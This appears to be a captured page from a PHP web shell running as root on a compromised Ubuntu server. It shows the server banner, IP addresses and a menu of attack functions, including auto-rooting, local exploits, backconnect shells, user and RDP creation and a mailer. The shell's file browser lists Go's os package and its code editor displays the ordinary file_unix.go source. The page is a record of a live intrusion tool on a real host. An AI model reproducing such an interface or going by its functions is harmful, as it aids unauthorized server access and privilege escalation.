Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
os /
[ HOME SHELL ]
Name
Size
Permission
Action
exec
[ DIR ]
drwxr-xr-x
signal
[ DIR ]
drwxr-xr-x
user
[ DIR ]
drwxr-xr-x
dir.go
1.99
KB
-rw-r--r--
dir_darwin.go
1.94
KB
-rw-r--r--
dir_plan9.go
1.53
KB
-rw-r--r--
dir_unix.go
1.54
KB
-rw-r--r--
dir_windows.go
1.43
KB
-rw-r--r--
env.go
3.84
KB
-rw-r--r--
env_test.go
3.87
KB
-rw-r--r--
env_unix_test.go
1.27
KB
-rw-r--r--
error.go
4
KB
-rw-r--r--
error_errno.go
246
B
-rw-r--r--
error_plan9.go
234
B
-rw-r--r--
error_posix.go
568
B
-rw-r--r--
error_test.go
4.81
KB
-rw-r--r--
error_unix_test.go
1.52
KB
-rw-r--r--
error_windows_test.go
1.71
KB
-rw-r--r--
example_test.go
2.89
KB
-rw-r--r--
exec.go
5.52
KB
-rw-r--r--
exec_plan9.go
3.29
KB
-rw-r--r--
exec_posix.go
3.22
KB
-rw-r--r--
exec_unix.go
2.12
KB
-rw-r--r--
exec_windows.go
4.88
KB
-rw-r--r--
executable.go
774
B
-rw-r--r--
executable_darwin.go
613
B
-rw-r--r--
executable_freebsd.go
881
B
-rw-r--r--
executable_path.go
2.3
KB
-rw-r--r--
executable_plan9.go
399
B
-rw-r--r--
executable_procfs.go
868
B
-rw-r--r--
executable_solaris.go
695
B
-rw-r--r--
executable_test.go
1.99
KB
-rw-r--r--
executable_windows.go
641
B
-rw-r--r--
export_test.go
286
B
-rw-r--r--
export_unix_test.go
275
B
-rw-r--r--
export_windows_test.go
312
B
-rw-r--r--
fifo_test.go
1.98
KB
-rw-r--r--
file.go
17.69
KB
-rw-r--r--
file_plan9.go
14.12
KB
-rw-r--r--
file_posix.go
4.88
KB
-rw-r--r--
file_unix.go
12.07
KB
-rw-r--r--
file_windows.go
14.19
KB
-rw-r--r--
getwd.go
2.61
KB
-rw-r--r--
getwd_darwin.go
317
B
-rw-r--r--
os_test.go
58.09
KB
-rw-r--r--
os_unix_test.go
8.45
KB
-rw-r--r--
os_windows_test.go
29.5
KB
-rw-r--r--
path.go
1.99
KB
-rw-r--r--
path_plan9.go
497
B
-rw-r--r--
path_test.go
3.08
KB
-rw-r--r--
path_unix.go
1.59
KB
-rw-r--r--
path_windows.go
5.75
KB
-rw-r--r--
path_windows_test.go
2.46
KB
-rw-r--r--
pipe2_bsd.go
617
B
-rw-r--r--
pipe_bsd.go
800
B
-rw-r--r--
pipe_linux.go
1010
B
-rw-r--r--
pipe_test.go
10.32
KB
-rw-r--r--
proc.go
1.84
KB
-rw-r--r--
rawconn.go
992
B
-rw-r--r--
rawconn_test.go
1.13
KB
-rw-r--r--
removeall_at.go
4.72
KB
-rw-r--r--
removeall_noat.go
3.17
KB
-rw-r--r--
removeall_test.go
10.7
KB
-rw-r--r--
stat.go
733
B
-rw-r--r--
stat_aix.go
1.18
KB
-rw-r--r--
stat_darwin.go
1.19
KB
-rw-r--r--
stat_dragonfly.go
1.15
KB
-rw-r--r--
stat_freebsd.go
1.17
KB
-rw-r--r--
stat_js.go
1.2
KB
-rw-r--r--
stat_linux.go
1.16
KB
-rw-r--r--
stat_netbsd.go
1.16
KB
-rw-r--r--
stat_openbsd.go
1.15
KB
-rw-r--r--
stat_plan9.go
2.25
KB
-rw-r--r--
stat_solaris.go
1.15
KB
-rw-r--r--
stat_test.go
6.28
KB
-rw-r--r--
stat_unix.go
1.14
KB
-rw-r--r--
stat_windows.go
3.48
KB
-rw-r--r--
sticky_bsd.go
388
B
-rw-r--r--
sticky_notbsd.go
363
B
-rw-r--r--
str.go
729
B
-rw-r--r--
sys.go
294
B
-rw-r--r--
sys_aix.go
682
B
-rw-r--r--
sys_bsd.go
435
B
-rw-r--r--
sys_js.go
309
B
-rw-r--r--
sys_linux.go
1.04
KB
-rw-r--r--
sys_plan9.go
453
B
-rw-r--r--
sys_solaris.go
265
B
-rw-r--r--
sys_unix.go
545
B
-rw-r--r--
sys_windows.go
874
B
-rw-r--r--
timeout_test.go
13.28
KB
-rw-r--r--
types.go
4.18
KB
-rw-r--r--
types_plan9.go
823
B
-rw-r--r--
types_unix.go
782
B
-rw-r--r--
types_windows.go
6.27
KB
-rw-r--r--
wait_unimp.go
585
B
-rw-r--r--
wait_wait6.go
1.29
KB
-rw-r--r--
wait_waitid.go
1.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : file_unix.go
// Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build aix darwin dragonfly freebsd js,wasm linux netbsd openbsd solaris package os import ( "internal/poll" "internal/syscall/unix" "io" "runtime" "syscall" ) // fixLongPath is a noop on non-Windows platforms. func fixLongPath(path string) string { return path } func rename(oldname, newname string) error { fi, err := Lstat(newname) if err == nil && fi.IsDir() { // There are two independent errors this function can return: // one for a bad oldname, and one for a bad newname. // At this point we've determined the newname is bad. // But just in case oldname is also bad, prioritize returning // the oldname error because that's what we did historically. // However, if the old name and new name are not the same, yet // they refer to the same file, it implies a case-only // rename on a case-insensitive filesystem, which is ok. if ofi, err := Lstat(oldname); err != nil { if pe, ok := err.(*PathError); ok { err = pe.Err } return &LinkError{"rename", oldname, newname, err} } else if newname == oldname || !SameFile(fi, ofi) { return &LinkError{"rename", oldname, newname, syscall.EEXIST} } } err = syscall.Rename(oldname, newname) if err != nil { return &LinkError{"rename", oldname, newname, err} } return nil } // file is the real representation of *File. // The extra level of indirection ensures that no clients of os // can overwrite this data, which could cause the finalizer // to close the wrong file descriptor. type file struct { pfd poll.FD name string dirinfo *dirInfo // nil unless directory being read nonblock bool // whether we set nonblocking mode stdoutOrErr bool // whether this is stdout or stderr appendMode bool // whether file is opened for appending } // Fd returns the integer Unix file descriptor referencing the open file. // The file descriptor is valid only until f.Close is called or f is garbage collected. // On Unix systems this will cause the SetDeadline methods to stop working. func (f *File) Fd() uintptr { if f == nil { return ^(uintptr(0)) } // If we put the file descriptor into nonblocking mode, // then set it to blocking mode before we return it, // because historically we have always returned a descriptor // opened in blocking mode. The File will continue to work, // but any blocking operation will tie up a thread. if f.nonblock { f.pfd.SetBlocking() } return uintptr(f.pfd.Sysfd) } // NewFile returns a new File with the given file descriptor and // name. The returned value will be nil if fd is not a valid file // descriptor. On Unix systems, if the file descriptor is in // non-blocking mode, NewFile will attempt to return a pollable File // (one for which the SetDeadline methods work). func NewFile(fd uintptr, name string) *File { kind := kindNewFile if nb, err := unix.IsNonblock(int(fd)); err == nil && nb { kind = kindNonBlock } return newFile(fd, name, kind) } // newFileKind describes the kind of file to newFile. type newFileKind int const ( kindNewFile newFileKind = iota kindOpenFile kindPipe kindNonBlock ) // newFile is like NewFile, but if called from OpenFile or Pipe // (as passed in the kind parameter) it tries to add the file to // the runtime poller. func newFile(fd uintptr, name string, kind newFileKind) *File { fdi := int(fd) if fdi < 0 { return nil } f := &File{&file{ pfd: poll.FD{ Sysfd: fdi, IsStream: true, ZeroReadIsEOF: true, }, name: name, stdoutOrErr: fdi == 1 || fdi == 2, }} pollable := kind == kindOpenFile || kind == kindPipe || kind == kindNonBlock // If the caller passed a non-blocking filedes (kindNonBlock), // we assume they know what they are doing so we allow it to be // used with kqueue. if kind == kindOpenFile { switch runtime.GOOS { case "darwin", "dragonfly", "freebsd", "netbsd", "openbsd": var st syscall.Stat_t err := syscall.Fstat(fdi, &st) typ := st.Mode & syscall.S_IFMT // Don't try to use kqueue with regular files on *BSDs. // On FreeBSD a regular file is always // reported as ready for writing. // On Dragonfly, NetBSD and OpenBSD the fd is signaled // only once as ready (both read and write). // Issue 19093. // Also don't add directories to the netpoller. if err == nil && (typ == syscall.S_IFREG || typ == syscall.S_IFDIR) { pollable = false } // In addition to the behavior described above for regular files, // on Darwin, kqueue does not work properly with fifos: // closing the last writer does not cause a kqueue event // for any readers. See issue #24164. if runtime.GOOS == "darwin" && typ == syscall.S_IFIFO { pollable = false } } } if err := f.pfd.Init("file", pollable); err != nil { // An error here indicates a failure to register // with the netpoll system. That can happen for // a file descriptor that is not supported by // epoll/kqueue; for example, disk files on // GNU/Linux systems. We assume that any real error // will show up in later I/O. } else if pollable { // We successfully registered with netpoll, so put // the file into nonblocking mode. if err := syscall.SetNonblock(fdi, true); err == nil { f.nonblock = true } } runtime.SetFinalizer(f.file, (*file).close) return f } // epipecheck raises SIGPIPE if we get an EPIPE error on standard // output or standard error. See the SIGPIPE docs in os/signal, and // issue 11845. func epipecheck(file *File, e error) { if e == syscall.EPIPE && file.stdoutOrErr { sigpipe() } } // DevNull is the name of the operating system's ``null device.'' // On Unix-like systems, it is "/dev/null"; on Windows, "NUL". const DevNull = "/dev/null" // openFileNolog is the Unix implementation of OpenFile. // Changes here should be reflected in openFdAt, if relevant. func openFileNolog(name string, flag int, perm FileMode) (*File, error) { setSticky := false if !supportsCreateWithStickyBit && flag&O_CREATE != 0 && perm&ModeSticky != 0 { if _, err := Stat(name); IsNotExist(err) { setSticky = true } } var r int for { var e error r, e = syscall.Open(name, flag|syscall.O_CLOEXEC, syscallMode(perm)) if e == nil { break } // On OS X, sigaction(2) doesn't guarantee that SA_RESTART will cause // open(2) to be restarted for regular files. This is easy to reproduce on // fuse file systems (see https://golang.org/issue/11180). if runtime.GOOS == "darwin" && e == syscall.EINTR { continue } return nil, &PathError{"open", name, e} } // open(2) itself won't handle the sticky bit on *BSD and Solaris if setSticky { setStickyBit(name) } // There's a race here with fork/exec, which we are // content to live with. See ../syscall/exec_unix.go. if !supportsCloseOnExec { syscall.CloseOnExec(r) } return newFile(uintptr(r), name, kindOpenFile), nil } // Close closes the File, rendering it unusable for I/O. // On files that support SetDeadline, any pending I/O operations will // be canceled and return immediately with an error. // Close will return an error if it has already been called. func (f *File) Close() error { if f == nil { return ErrInvalid } return f.file.close() } func (file *file) close() error { if file == nil { return syscall.EINVAL } if file.dirinfo != nil { file.dirinfo.close() } var err error if e := file.pfd.Close(); e != nil { if e == poll.ErrFileClosing { e = ErrClosed } err = &PathError{"close", file.name, e} } // no need for a finalizer anymore runtime.SetFinalizer(file, nil) return err } // read reads up to len(b) bytes from the File. // It returns the number of bytes read and an error, if any. func (f *File) read(b []byte) (n int, err error) { n, err = f.pfd.Read(b) runtime.KeepAlive(f) return n, err } // pread reads len(b) bytes from the File starting at byte offset off. // It returns the number of bytes read and the error, if any. // EOF is signaled by a zero count with err set to nil. func (f *File) pread(b []byte, off int64) (n int, err error) { n, err = f.pfd.Pread(b, off) runtime.KeepAlive(f) return n, err } // write writes len(b) bytes to the File. // It returns the number of bytes written and an error, if any. func (f *File) write(b []byte) (n int, err error) { n, err = f.pfd.Write(b) runtime.KeepAlive(f) return n, err } // pwrite writes len(b) bytes to the File starting at byte offset off. // It returns the number of bytes written and an error, if any. func (f *File) pwrite(b []byte, off int64) (n int, err error) { n, err = f.pfd.Pwrite(b, off) runtime.KeepAlive(f) return n, err } // seek sets the offset for the next Read or Write on file to offset, interpreted // according to whence: 0 means relative to the origin of the file, 1 means // relative to the current offset, and 2 means relative to the end. // It returns the new offset and an error, if any. func (f *File) seek(offset int64, whence int) (ret int64, err error) { f.seekInvalidate() ret, err = f.pfd.Seek(offset, whence) runtime.KeepAlive(f) return ret, err } // Truncate changes the size of the named file. // If the file is a symbolic link, it changes the size of the link's target. // If there is an error, it will be of type *PathError. func Truncate(name string, size int64) error { if e := syscall.Truncate(name, size); e != nil { return &PathError{"truncate", name, e} } return nil } // Remove removes the named file or (empty) directory. // If there is an error, it will be of type *PathError. func Remove(name string) error { // System call interface forces us to know // whether name is a file or directory. // Try both: it is cheaper on average than // doing a Stat plus the right one. e := syscall.Unlink(name) if e == nil { return nil } e1 := syscall.Rmdir(name) if e1 == nil { return nil } // Both failed: figure out which error to return. // OS X and Linux differ on whether unlink(dir) // returns EISDIR, so can't use that. However, // both agree that rmdir(file) returns ENOTDIR, // so we can use that to decide which error is real. // Rmdir might also return ENOTDIR if given a bad // file path, like /etc/passwd/foo, but in that case, // both errors will be ENOTDIR, so it's okay to // use the error from unlink. if e1 != syscall.ENOTDIR { e = e1 } return &PathError{"remove", name, e} } func tempDir() string { dir := Getenv("TMPDIR") if dir == "" { if runtime.GOOS == "android" { dir = "/data/local/tmp" } else { dir = "/tmp" } } return dir } // Link creates newname as a hard link to the oldname file. // If there is an error, it will be of type *LinkError. func Link(oldname, newname string) error { e := syscall.Link(oldname, newname) if e != nil { return &LinkError{"link", oldname, newname, e} } return nil } // Symlink creates newname as a symbolic link to oldname. // If there is an error, it will be of type *LinkError. func Symlink(oldname, newname string) error { e := syscall.Symlink(oldname, newname) if e != nil { return &LinkError{"symlink", oldname, newname, e} } return nil } func (f *File) readdir(n int) (fi []FileInfo, err error) { dirname := f.name if dirname == "" { dirname = "." } names, err := f.Readdirnames(n) fi = make([]FileInfo, 0, len(names)) for _, filename := range names { fip, lerr := lstat(dirname + "/" + filename) if IsNotExist(lerr) { // File disappeared between readdir + stat. // Just treat it as if it didn't exist. continue } if lerr != nil { return fi, lerr } fi = append(fi, fip) } if len(fi) == 0 && err == nil && n > 0 { // Per File.Readdir, the slice must be non-empty or err // must be non-nil if n > 0. err = io.EOF } return fi, err } // Readlink returns the destination of the named symbolic link. // If there is an error, it will be of type *PathError. func Readlink(name string) (string, error) { for len := 128; ; len *= 2 { b := make([]byte, len) n, e := fixCount(syscall.Readlink(name, b)) // buffer too small if runtime.GOOS == "aix" && e == syscall.ERANGE { continue } if e != nil { return "", &PathError{"readlink", name, e} } if n < len { return string(b[0:n]), nil } } }
Close